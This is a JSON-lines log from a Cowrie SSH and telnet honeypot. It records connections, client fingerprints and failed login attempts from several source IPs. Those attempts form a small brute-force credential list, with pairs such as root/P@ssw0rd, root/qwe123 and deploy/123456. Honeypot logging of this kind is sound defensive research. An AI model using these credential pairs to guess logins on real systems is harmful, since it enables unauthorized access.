{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:50.257768Z","src_ip":"172.237.20.62","session":"0cf536dcd17a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:50.326641Z","src_ip":"176.65.132.129","session":"863cb5e43a9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:50.416344Z","src_ip":"172.237.20.62","session":"0cf536dcd17a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:50.893883Z","src_ip":"172.237.20.62","session":"0cf536dcd17a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:52.055160Z","src_ip":"172.237.20.62","session":"0cf536dcd17a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44950,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c628ae16f1f","protocol":"ssh","message":"New connection: 176.65.132.129:44950 (159.203.135.109:22) [session: 2c628ae16f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:52.242154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:52.246830Z","src_ip":"176.65.132.129","session":"2c628ae16f1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:52.328750Z","src_ip":"176.65.132.129","session":"2c628ae16f1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:52.575224Z","src_ip":"176.65.132.129","session":"2c628ae16f1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52020,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9b1ef53c9be","protocol":"telnet","message":"New connection: 45.58.127.90:52020 (10.17.0.5:23) [session: a9b1ef53c9be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:52.629261Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:53.660342Z","src_ip":"176.65.132.129","session":"2c628ae16f1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00179481506348,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:54.890792Z","src_ip":"195.245.96.245","session":"3cc14ac0b83e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52036,"dst_ip":"10.17.0.5","dst_port":23,"session":"924c9901348b","protocol":"telnet","message":"New connection: 45.58.127.90:52036 (10.17.0.5:23) [session: 924c9901348b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:55.254357Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44956,"dst_ip":"159.203.135.109","dst_port":22,"session":"98d43daef05f","protocol":"ssh","message":"New connection: 176.65.132.129:44956 (159.203.135.109:22) [session: 98d43daef05f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:55.620428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:55.625755Z","src_ip":"176.65.132.129","session":"98d43daef05f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:55.708298Z","src_ip":"176.65.132.129","session":"98d43daef05f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:55.955596Z","src_ip":"176.65.132.129","session":"98d43daef05f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:57.040884Z","src_ip":"176.65.132.129","session":"98d43daef05f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37714,"dst_ip":"159.203.135.109","dst_port":22,"session":"568ea80fd320","protocol":"ssh","message":"New connection: 176.65.132.129:37714 (159.203.135.109:22) [session: 568ea80fd320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:59.147922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:59.152303Z","src_ip":"176.65.132.129","session":"568ea80fd320","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:59.235434Z","src_ip":"176.65.132.129","session":"568ea80fd320","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:54:59.485265Z","src_ip":"176.65.132.129","session":"568ea80fd320","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:00.572960Z","src_ip":"176.65.132.129","session":"568ea80fd320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":37620,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a3e12d0afcf","protocol":"ssh","message":"New connection: 172.237.20.62:37620 (159.203.135.109:22) [session: 8a3e12d0afcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:01.153959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:01.159266Z","src_ip":"172.237.20.62","session":"8a3e12d0afcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:01.320921Z","src_ip":"172.237.20.62","session":"8a3e12d0afcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:01.813411Z","src_ip":"172.237.20.62","session":"8a3e12d0afcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37732,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ee9cb56fb08","protocol":"ssh","message":"New connection: 176.65.132.129:37732 (159.203.135.109:22) [session: 3ee9cb56fb08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:02.552342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:02.557725Z","src_ip":"176.65.132.129","session":"3ee9cb56fb08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:02.641054Z","src_ip":"176.65.132.129","session":"3ee9cb56fb08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:02.889323Z","src_ip":"176.65.132.129","session":"3ee9cb56fb08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:02.977497Z","src_ip":"172.237.20.62","session":"8a3e12d0afcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0018515586853,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:03.658480Z","src_ip":"195.245.96.245","session":"ef818007b8e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:03.974358Z","src_ip":"176.65.132.129","session":"3ee9cb56fb08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":52971,"dst_ip":"10.17.0.5","dst_port":22,"session":"be78b193f411","protocol":"ssh","message":"New connection: 193.106.245.20:52971 (10.17.0.5:22) [session: be78b193f411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:05.831906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:05.837826Z","src_ip":"193.106.245.20","session":"be78b193f411","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50992,"dst_ip":"159.203.135.109","dst_port":22,"session":"e03b33e96ab0","protocol":"ssh","message":"New connection: 176.65.132.129:50992 (159.203.135.109:22) [session: e03b33e96ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:05.903835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:05.909012Z","src_ip":"176.65.132.129","session":"e03b33e96ab0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:05.960042Z","src_ip":"193.106.245.20","session":"be78b193f411","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:05.991037Z","src_ip":"176.65.132.129","session":"e03b33e96ab0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.2755663394928,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:06.136811Z","src_ip":"45.58.127.90","session":"81a5d991d40d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.37335991859436,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:06.181157Z","src_ip":"45.58.127.90","session":"f893e4d2e07a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:06.240775Z","src_ip":"176.65.132.129","session":"e03b33e96ab0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer!","message":"login attempt [deployer/deployer!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:06.481315Z","src_ip":"193.106.245.20","session":"be78b193f411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:55:07.330355Z","src_ip":"176.65.132.129","session":"e03b33e96ab0","protocol":"ssh"}
